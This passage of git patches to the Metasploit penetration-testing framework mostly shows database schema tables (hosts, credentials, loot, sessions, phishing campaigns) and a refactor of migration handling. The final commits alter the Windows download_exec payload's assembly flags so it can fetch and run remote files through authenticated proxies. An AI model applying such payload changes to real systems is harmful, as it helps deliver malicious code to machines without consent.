+ t.boolean "inline", :default => true, :null => false + t.boolean "zip", :default => false, :null => false + t.integer "campaign_id" + end + + create_table "attachments_email_templates", :id => false, :force => true do |t| + t.integer "attachment_id" + t.integer "email_template_id" + end + + create_table "campaigns", :force => true do |t| + t.integer "workspace_id", :null => false + t.string "name", :limit => 512 + t.text "prefs" + t.integer "status", :default => 0 + t.datetime "started_at" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "clients", :force => true do |t| + t.integer "host_id" + t.datetime "created_at" + t.string "ua_string", :limit => 1024, :null => false + t.string "ua_name", :limit => 64 + t.string "ua_ver", :limit => 32 + t.datetime "updated_at" + t.integer "campaign_id" + end + + create_table "creds", :force => true do |t| + t.integer "service_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "user", :limit => 2048 + t.string "pass", :limit => 4096 + t.boolean "active", :default => true + t.string "proof", :limit => 4096 + t.string "ptype", :limit => 256 + t.integer "source_id" + t.string "source_type" + end + + create_table "email_addresses", :force => true do |t| + t.integer "campaign_id", :null => false + t.string "first_name", :limit => 512 + t.string "last_name", :limit => 512 + t.string "address", :limit => 512 + t.boolean "sent", :default => false, :null => false + t.datetime "clicked_at" + end + + create_table "email_templates", :force => true do |t| + t.string "name", :limit => 512 + t.string "subject", :limit => 1024 + t.text "body" + t.integer "parent_id" + t.integer "campaign_id" + t.text "prefs" + end + + create_table "events", :force => true do |t| + t.integer "workspace_id" + t.integer "host_id" + t.datetime "created_at" + t.string "name" + t.datetime "updated_at" + t.boolean "critical" + t.boolean "seen" + t.string "username" + t.text "info" + end + + create_table "exploit_attempts", :force => true do |t| + t.integer "host_id" + t.integer "service_id" + t.integer "vuln_id" + t.datetime "attempted_at" + t.boolean "exploited" + t.string "fail_reason" + t.string "username" + t.text "module" + t.integer "session_id" + t.integer "loot_id" + t.integer "port" + t.string "proto" + t.text "fail_detail" + end + + create_table "exploited_hosts", :force => true do |t| + t.integer "host_id", :null => false + t.integer "service_id" + t.string "session_uuid", :limit => 8 + t.string "name", :limit => 2048 + t.string "payload", :limit => 2048 + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "host_details", :force => true do |t| + t.integer "host_id" + t.integer "nx_console_id" + t.integer "nx_device_id" + t.string "src" + t.string "nx_site_name" + t.string "nx_site_importance" + t.string "nx_scan_template" + t.float "nx_risk_score" + end + + create_table "hosts", :force => true do |t| + t.datetime "created_at" + t.string "address", :limit => nil + t.string "mac" + t.string "comm" + t.string "name" + t.string "state" + t.string "os_name" + t.string "os_flavor" + t.string "os_sp" + t.string "os_lang" + t.string "arch" + t.integer "workspace_id" + t.datetime "updated_at" + t.text "purpose" + t.string "info", :limit => 65536 + t.text "comments" + t.text "scope" + t.text "virtual_host" + t.integer "note_count", :default => 0 + t.integer "vuln_count", :default => 0 + t.integer "service_count", :default => 0 + t.integer "host_detail_count", :default => 0 + t.integer "exploit_attempt_count", :default => 0 + end + + add_index "hosts", ["address"], :name => "index_hosts_on_address" + add_index "hosts", ["name"], :name => "index_hosts_on_name" + add_index "hosts", ["os_flavor"], :name => "index_hosts_on_os_flavor" + add_index "hosts", ["os_name"], :name => "index_hosts_on_os_name" + add_index "hosts", ["purpose"], :name => "index_hosts_on_purpose" + add_index "hosts", ["state"], :name => "index_hosts_on_state" + + create_table "hosts_tags", :id => false, :force => true do |t| + t.integer "host_id" + t.integer "tag_id" + end + + create_table "imported_creds", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "user", :limit => 512 + t.string "pass", :limit => 512 + t.string "ptype", :limit => 16, :default => "password" + end + + create_table "listeners", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.integer "workspace_id", :default => 1, :null => false + t.integer "task_id" + t.boolean "enabled", :default => true + t.text "owner" + t.text "payload" + t.text "address" + t.integer "port" + t.binary "options" + t.text "macro" + end + + create_table "loots", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.integer "host_id" + t.integer "service_id" + t.string "ltype", :limit => 512 + t.string "path", :limit => 1024 + t.text "data" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "content_type" + t.text "name" + t.text "info" + end + + create_table "macros", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "owner" + t.text "name" + t.text "description" + t.binary "actions" + t.binary "prefs" + end + + create_table "mod_refs", :force => true do |t| + t.string "module", :limit => 1024 + t.string "mtype", :limit => 128 + t.text "ref" + end + + create_table "module_actions", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_actions", ["module_detail_id"], :name => "index_module_actions_on_module_detail_id" + + create_table "module_archs", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_archs", ["module_detail_id"], :name => "index_module_archs_on_module_detail_id" + + create_table "module_authors", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + t.text "email" + end + + add_index "module_authors", ["module_detail_id"], :name => "index_module_authors_on_module_detail_id" + + create_table "module_details", :force => true do |t| + t.datetime "mtime" + t.text "file" + t.string "mtype" + t.text "refname" + t.text "fullname" + t.text "name" + t.integer "rank" + t.text "description" + t.string "license" + t.boolean "privileged" + t.datetime "disclosure_date" + t.integer "default_target" + t.text "default_action" + t.string "stance" + t.boolean "ready" + end + + add_index "module_details", ["description"], :name => "index_module_details_on_description" + add_index "module_details", ["mtype"], :name => "index_module_details_on_mtype" + add_index "module_details", ["name"], :name => "index_module_details_on_name" + add_index "module_details", ["refname"], :name => "index_module_details_on_refname" + + create_table "module_mixins", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_mixins", ["module_detail_id"], :name => "index_module_mixins_on_module_detail_id" + + create_table "module_platforms", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_platforms", ["module_detail_id"], :name => "index_module_platforms_on_module_detail_id" + + create_table "module_refs", :force => true do |t| + t.integer "module_detail_id" + t.text "name" + end + + add_index "module_refs", ["module_detail_id"], :name => "index_module_refs_on_module_detail_id" + add_index "module_refs", ["name"], :name => "index_module_refs_on_name" + + create_table "module_targets", :force => true do |t| + t.integer "module_detail_id" + t.integer "index" + t.text "name" + end + + add_index "module_targets", ["module_detail_id"], :name => "index_module_targets_on_module_detail_id" + + create_table "nexpose_consoles", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.boolean "enabled", :default => true + t.text "owner" + t.text "address" + t.integer "port", :default => 3780 + t.text "username" + t.text "password" + t.text "status" + t.text "version" + t.text "cert" + t.binary "cached_sites" + t.text "name" + end + + create_table "notes", :force => true do |t| + t.datetime "created_at" + t.string "ntype", :limit => 512 + t.integer "workspace_id", :default => 1, :null => false + t.integer "service_id" + t.integer "host_id" + t.datetime "updated_at" + t.boolean "critical" + t.boolean "seen" + t.text "data" + end + + add_index "notes", ["ntype"], :name => "index_notes_on_ntype" + + create_table "profiles", :force => true do |t| + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.boolean "active", :default => true + t.text "name" + t.text "owner" + t.binary "settings" + end + + create_table "refs", :force => true do |t| + t.integer "ref_id" + t.datetime "created_at" + t.string "name", :limit => 512 + t.datetime "updated_at" + end + + add_index "refs", ["name"], :name => "index_refs_on_name" + + create_table "report_templates", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "path", :limit => 1024 + t.text "name" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "reports", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "rtype" + t.string "path", :limit => 1024 + t.text "options" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.datetime "downloaded_at" + t.integer "task_id" + t.string "name", :limit => 63 + end + + create_table "routes", :force => true do |t| + t.integer "session_id" + t.string "subnet" + t.string "netmask" + end + + create_table "services", :force => true do |t| + t.integer "host_id" + t.datetime "created_at" + t.integer "port", :null => false + t.string "proto", :limit => 16, :null => false + t.string "state" + t.string "name" + t.datetime "updated_at" + t.text "info" + end + + add_index "services", ["name"], :name => "index_services_on_name" + add_index "services", ["port"], :name => "index_services_on_port" + add_index "services", ["proto"], :name => "index_services_on_proto" + add_index "services", ["state"], :name => "index_services_on_state" + + create_table "session_events", :force => true do |t| + t.integer "session_id" + t.string "etype" + t.binary "command" + t.binary "output" + t.string "remote_path" + t.string "local_path" + t.datetime "created_at" + end + + create_table "sessions", :force => true do |t| + t.integer "host_id" + t.string "stype" + t.string "via_exploit" + t.string "via_payload" + t.string "desc" + t.integer "port" + t.string "platform" + t.text "datastore" + t.datetime "opened_at", :null => false + t.datetime "closed_at" + t.string "close_reason" + t.integer "local_id" + t.datetime "last_seen" + end + + create_table "tags", :force => true do |t| + t.integer "user_id" + t.string "name", :limit => 1024 + t.text "desc" + t.boolean "report_summary", :default => false, :null => false + t.boolean "report_detail", :default => false, :null => false + t.boolean "critical", :default => false, :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + end + + create_table "tasks", :force => true do |t| + t.integer "workspace_id", :default => 1, :null => false + t.string "created_by" + t.string "module" + t.datetime "completed_at" + t.string "path", :limit => 1024 + t.string "info" + t.string "description" + t.integer "progress" + t.text "options" + t.text "error" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "result" + t.string "module_uuid", :limit => 8 + t.binary "settings" + end + + create_table "users", :force => true do |t| + t.string "username" + t.string "crypted_password" + t.string "password_salt" + t.string "persistence_token" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "fullname" + t.string "email" + t.string "phone" + t.string "company" + t.string "prefs", :limit => 524288 + t.boolean "admin", :default => true, :null => false + end + + create_table "vuln_attempts", :force => true do |t| + t.integer "vuln_id" + t.datetime "attempted_at" + t.boolean "exploited" + t.string "fail_reason" + t.string "username" + t.text "module" + t.integer "session_id" + t.integer "loot_id" + t.text "fail_detail" + end + + create_table "vuln_details", :force => true do |t| + t.integer "vuln_id" + t.float "cvss_score" + t.string "cvss_vector" + t.string "title" + t.text "description" + t.text "solution" + t.binary "proof" + t.integer "nx_console_id" + t.integer "nx_device_id" + t.string "nx_vuln_id" + t.float "nx_severity" + t.float "nx_pci_severity" + t.datetime "nx_published" + t.datetime "nx_added" + t.datetime "nx_modified" + t.text "nx_tags" + t.text "nx_vuln_status" + t.text "nx_proof_key" + t.string "src" + t.integer "nx_scan_id" + t.datetime "nx_vulnerable_since" + t.string "nx_pci_compliance_status" + end + + create_table "vulns", :force => true do |t| + t.integer "host_id" + t.integer "service_id" + t.datetime "created_at" + t.string "name" + t.datetime "updated_at" + t.string "info", :limit => 65536 + t.datetime "exploited_at" + t.integer "vuln_detail_count", :default => 0 + t.integer "vuln_attempt_count", :default => 0 + end + + add_index "vulns", ["name"], :name => "index_vulns_on_name" + + create_table "vulns_refs", :id => false, :force => true do |t| + t.integer "ref_id" + t.integer "vuln_id" + end + + create_table "web_forms", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path" + t.string "method", :limit => 1024 + t.text "params" + t.text "query" + end + + add_index "web_forms", ["path"], :name => "index_web_forms_on_path" + + create_table "web_pages", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path" + t.text "query" + t.integer "code", :null => false + t.text "cookie" + t.text "auth" + t.text "ctype" + t.datetime "mtime" + t.text "location" + t.text "headers" + t.binary "body" + t.binary "request" + end + + add_index "web_pages", ["path"], :name => "index_web_pages_on_path" + add_index "web_pages", ["query"], :name => "index_web_pages_on_query" + + create_table "web_sites", :force => true do |t| + t.integer "service_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "vhost", :limit => 2048 + t.text "comments" + t.text "options" + end + + add_index "web_sites", ["comments"], :name => "index_web_sites_on_comments" + add_index "web_sites", ["options"], :name => "index_web_sites_on_options" + add_index "web_sites", ["vhost"], :name => "index_web_sites_on_vhost" + + create_table "web_templates", :force => true do |t| + t.string "name", :limit => 512 + t.string "title", :limit => 512 + t.string "body", :limit => 524288 + t.integer "campaign_id" + t.text "prefs" + end + + create_table "web_vulns", :force => true do |t| + t.integer "web_site_id", :null => false + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.text "path", :null => false + t.string "method", :limit => 1024, :null => false + t.text "params", :null => false + t.text "pname", :null => false + t.integer "risk", :null => false + t.string "name", :limit => 1024, :null => false + t.text "query" + t.text "category", :null => false + t.text "confidence", :null => false + t.text "description" + t.text "blame" + t.binary "request" + t.binary "proof", :null => false + t.string "owner" + t.text "payload" + end + + add_index "web_vulns", ["method"], :name => "index_web_vulns_on_method" + add_index "web_vulns", ["name"], :name => "index_web_vulns_on_name" + add_index "web_vulns", ["path"], :name => "index_web_vulns_on_path" + + create_table "wmap_requests", :force => true do |t| + t.string "host" + t.string "address", :limit => nil + t.integer "port" + t.integer "ssl" + t.string "meth", :limit => 32 + t.text "path" + t.text "headers" + t.text "query" + t.text "body" + t.string "respcode", :limit => 16 + t.text "resphead" + t.text "response" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "wmap_targets", :force => true do |t| + t.string "host" + t.string "address", :limit => nil + t.integer "port" + t.integer "ssl" + t.integer "selected" + t.datetime "created_at" + t.datetime "updated_at" + end + + create_table "workspace_members", :id => false, :force => true do |t| + t.integer "workspace_id", :null => false + t.integer "user_id", :null => false + end + + create_table "workspaces", :force => true do |t| + t.string "name" + t.datetime "created_at", :null => false + t.datetime "updated_at", :null => false + t.string "boundary", :limit => 4096 + t.string "description", :limit => 4096 + t.integer "owner_id" + t.boolean "limit_to_network", :default => false, :null => false + end + +end diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/lib/assets/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/lib/assets/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/lib/assets/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/log/.gitkeep b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/log/.gitkeep rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/log/.gitkeep diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/404.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/404.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/404.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/422.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/422.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/422.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/500.html b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/500.html rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/500.html diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/favicon.ico b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/public/favicon.ico rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/public/favicon.ico diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/script/rails b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/dummy/script/rails rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/dummy/script/rails diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/lib/base64_serializer_spec.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb similarity index 100% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/lib/base64_serializer_spec.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/lib/base64_serializer_spec.rb diff --git a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/spec_helper.rb b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb similarity index 96% rename from lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/spec_helper.rb rename to lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb index 66d1de6804..32b4bef890 100755 --- a/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.4.0/spec/spec_helper.rb +++ b/lib/gemcache/ruby/1.9.1/gems/metasploit_data_models-0.5.1/spec/spec_helper.rb @@ -11,6 +11,8 @@ Bundler.require(:default, :test) # full backtrace in logs so its easier to trace errors Rails.backtrace_cleaner.remove_silencers! +require 'simplecov' + # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. support_glob = MetasploitDataModels.root.join('spec', 'support', '**', '*.rb') diff --git a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec similarity index 72% rename from lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec rename to lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec index 7b728268c3..a88f2d9cd0 100644 --- a/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.3.0.gemspec +++ b/lib/gemcache/ruby/1.9.1/specifications/metasploit_data_models-0.5.1.gemspec @@ -2,11 +2,11 @@ Gem::Specification.new do |s| s.name = "metasploit_data_models" - s.version = "0.3.0" + s.version = "0.5.1" s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version= s.authors = ["Trevor Rosen"] - s.date = "2012-11-01" + s.date = "2013-03-01" s.description = "Implements minimal ActiveRecord models and database helper code used in both the Metasploit Framework (MSF) and Metasploit commercial editions." s.email = ["trevor_rosen@rapid7.com"] s.executables = ["mdm_console"] @@ -21,20 +21,26 @@ Gem::Specification.new do |s| if Gem::Version.new(Gem::VERSION) >= Gem::Version.new('1.2.0') then s.add_development_dependency(%q, [">= 0"]) - s.add_runtime_dependency(%q, [">= 0"]) + s.add_development_dependency(%q, [">= 0"]) + s.add_development_dependency(%q, [">= 0"]) + s.add_runtime_dependency(%q, [">= 3.2.10"]) s.add_runtime_dependency(%q, [">= 0"]) s.add_runtime_dependency(%q, [">= 0"]) s.add_runtime_dependency(%q, [">= 0"]) else s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 3.2.10"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) end else s.add_dependency(%q, [">= 0"]) - s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 0"]) + s.add_dependency(%q, [">= 3.2.10"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) s.add_dependency(%q, [">= 0"]) From af4b3fa287e3d642c5d1bcc995b0ac89803b1a40 Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Sat, 2 Mar 2013 20:33:48 -0600 Subject: [PATCH 262/341] Use ActiveRecord::Migrator multiple migrations paths support [#44034071] ActiveRecord::Migrator has a class attribute, migrations_paths, specificially for storing a list of different directories that have migrations in them. ActiveRecord::Migrator.migrations_paths is used in rake db:load_config, which is a dependency of db:migrate, etc. that is passed to ActiveRecord::Migrator.migrate. Since migrate supports an array of directories, and not just a single directory, there is no need to merge all the migrations paths into one temporary directory as was previously done. --- lib/msf/core/db_manager.rb | 75 ++++++++++++++---------------------- lib/msf/ui/console/driver.rb | 4 +- 2 files changed, 31 insertions(+), 48 deletions(-) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 42974b229a..287442150b 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -56,9 +56,6 @@ class DBManager # Flag to indicate database migration has completed attr_accessor :migrated - # Array of additional migration paths - attr_accessor :migration_paths - # Flag to indicate that modules are cached attr_accessor :modules_cached @@ -69,7 +66,6 @@ class DBManager self.framework = framework self.migrated = false - self.migration_paths = [] self.modules_cached = false self.modules_caching = false @@ -82,17 +78,17 @@ class DBManager end initialize_database_support - - # have to set migration paths after initialize_database_support as it loads - # MetasploitDataModels. - self.migration_paths << MetasploitDataModels.root.join('db', 'migrate').to_s end - # - # Add additional migration paths - # - def add_migration_path(path) - self.migration_paths.push(path) + def initialize_metasploit_data_models + # Provide access to ActiveRecord models shared w/ commercial versions + require "metasploit_data_models" + + metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( + 'db', + 'migrate' + ) + ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s end # @@ -105,8 +101,7 @@ class DBManager require "active_record" - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" + initialize_metasploit_data_models # Patches issues with ActiveRecord require "msf/core/patches/active_record" @@ -283,45 +278,31 @@ class DBManager end end + # Migrate database to latest schema version. # - # Migrate database to latest schema version + # @param verbose [Boolean] see ActiveRecord::Migration.verbose + # @return [Array] List of migrations that ran. # + # @see ActiveRecord::Migrator.migrate def migrate(verbose=false) + ran = [] + ActiveRecord::Migration.verbose = verbose - temp_dir = ::File.expand_path(::File.join( Msf::Config.config_directory, "schema", "#{Time.now.to_i}_#{$$}" )) - ::FileUtils.rm_rf(temp_dir) - ::FileUtils.mkdir_p(temp_dir) - - self.migration_paths.each do |mpath| - dir = Dir.new(mpath) rescue nil - if not dir - elog("Could not access migration path #{mpath}") - next - end - - dir.entries.each do |ent| - next unless ent =~ /^\d+.*\.rb$/ - ::FileUtils.cp( ::File.join(mpath, ent), ::File.join(temp_dir, ent) ) + ActiveRecord::Base.connection_pool.with_connection do + begin + ran = ActiveRecord::Migrator.migrate( + ActiveRecord::Migrator.migrations_paths + ) + # ActiveRecord::Migrator#migrate rescues all errors and re-raises them as + # StandardError + rescue StandardError => error + self.error = error + elog("DB.migrate threw an exception: #{error}") + dlog("Call stack:\n#{error.backtrace.join "\n"}") end end - success = true - begin - - ::ActiveRecord::Base.connection_pool.with_connection { - ActiveRecord::Migration.verbose = verbose - ActiveRecord::Migrator.migrate(temp_dir, nil) - } - rescue ::Exception => e - self.error = e - elog("DB.migrate threw an exception: #{e}") - dlog("Call stack:\n#{e.backtrace.join "\n"}") - success = false - end - - ::FileUtils.rm_rf(temp_dir) - - return true + return ran end def workspace=(workspace) diff --git a/lib/msf/ui/console/driver.rb b/lib/msf/ui/console/driver.rb index 49d9698482..10c2836a80 100644 --- a/lib/msf/ui/console/driver.rb +++ b/lib/msf/ui/console/driver.rb @@ -171,7 +171,9 @@ class Driver < Msf::Ui::Driver # Append any migration paths necessary to bring the database online if opts['DatabaseMigrationPaths'] - opts['DatabaseMigrationPaths'].each {|m| framework.db.add_migration_path(m) } + opts['DatabaseMigrationPaths'].each do |migrations_path| + ActiveRecord::Migrator.migrations_paths << migrations_path + end end # Look for our database configuration in the following places, in order: From c9a162ac33551372096fd0e1f3b3c7877eec6a0e Mon Sep 17 00:00:00 2001 From: Luke Imhoff Date: Sat, 2 Mar 2013 21:09:45 -0600 Subject: [PATCH 263/341] Correct return type of Msf::DBManager#migrate. --- lib/msf/core/db_manager.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 287442150b..6b54c9f7a9 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -281,7 +281,7 @@ class DBManager # Migrate database to latest schema version. # # @param verbose [Boolean] see ActiveRecord::Migration.verbose - # @return [Array] List of migrations that ran. + # @return [Array Date: Sat, 2 Mar 2013 21:16:02 -0600 Subject: [PATCH 264/341] Document Msf::DBManager#initialize_metasploit_data_models --- lib/msf/core/db_manager.rb | 25 ++++++++++++++----------- 1 file changed, 14 insertions(+), 11 deletions(-) diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 6b54c9f7a9..726eb682f7 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -80,17 +80,6 @@ class DBManager initialize_database_support end - def initialize_metasploit_data_models - # Provide access to ActiveRecord models shared w/ commercial versions - require "metasploit_data_models" - - metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( - 'db', - 'migrate' - ) - ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s - end - # # Do what is necessary to load our database support # @@ -166,6 +155,20 @@ class DBManager $KCODE = 'NONE' if RUBY_VERSION =~ /^1\.8\./ end + # Loads Metasploit Data Models and adds its migrations to migrations paths. + # + # @return [void] + def initialize_metasploit_data_models + # Provide access to ActiveRecord models shared w/ commercial versions + require "metasploit_data_models" + + metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join( + 'db', + 'migrate' + ) + ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_pathname.to_s + end + # # Create a new database sink and initialize it # From ecdb884b1326afa6bcb82b8d6074e7e0f32119c7 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Sun, 3 Mar 2013 01:42:17 -0500 Subject: [PATCH 265/341] Make download_exec work with authenticated proxies Adds INTERNET_FLAG_KEEP_CONNECTION to HttpOpenRequest flags to allow download_exec to transparently authenticate to a proxy device through wininet. Fun trivia, Windows 7 systems uses Connection: keep-alive by default. This flag benefits older targets (e.g., Windows XP). --- modules/payloads/singles/windows/download_exec.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 3d6b096e57..68928dc730 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -46,6 +46,7 @@ module Metasploit3 #;0x80000000 | ; INTERNET_FLAG_RELOAD #;0x04000000 | ; INTERNET_NO_CACHE_WRITE #;0x00800000 | ; INTERNET_FLAG_SECURE + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT #;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID @@ -89,7 +90,7 @@ module Metasploit3 if target_uri =~ /^http:/ proto = "http" port_nr = 80 - dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" end if target_uri =~ /^ftp:/ From 1cc49f75f52fd9ed7c4e1c11a7ac8c8a5206a596 Mon Sep 17 00:00:00 2001 From: Raphael Mudge Date: Sun, 3 Mar 2013 03:26:43 -0500 Subject: [PATCH 266/341] move flag comment to where it's used. --- modules/payloads/singles/windows/download_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/payloads/singles/windows/download_exec.rb b/modules/payloads/singles/windows/download_exec.rb index 68928dc730..d0d68fe3b1 100644 --- a/modules/payloads/singles/windows/download_exec.rb +++ b/modules/payloads/singles/windows/download_exec.rb @@ -46,7 +46,6 @@ module Metasploit3 #;0x80000000 | ; INTERNET_FLAG_RELOAD #;0x04000000 | ; INTERNET_NO_CACHE_WRITE #;0x00800000 | ; INTERNET_FLAG_SECURE - #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION #;0x00200000 | ; INTERNET_FLAG_NO_AUTO_REDIRECT #;0x00001000 | ; INTERNET_FLAG_IGNORE_CERT_CN_INVALID #;0x00002000 | ; INTERNET_FLAG_IGNORE_CERT_DATE_INVALID @@ -91,6 +90,7 @@ module Metasploit3 proto = "http" port_nr = 80 dwflags_asm = "push (0x80000000 | 0x04000000 | 0x00400000 | 0x00200000 |0x00001000 |0x00002000 |0x00000200) ; dwFlags\n" + #;0x00400000 | ; INTERNET_FLAG_KEEP_CONNECTION end if target_uri =~ /^ftp:/ From 76180f22fcb5a69e12239278783ab37db5d5143b Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 3 Mar 2013 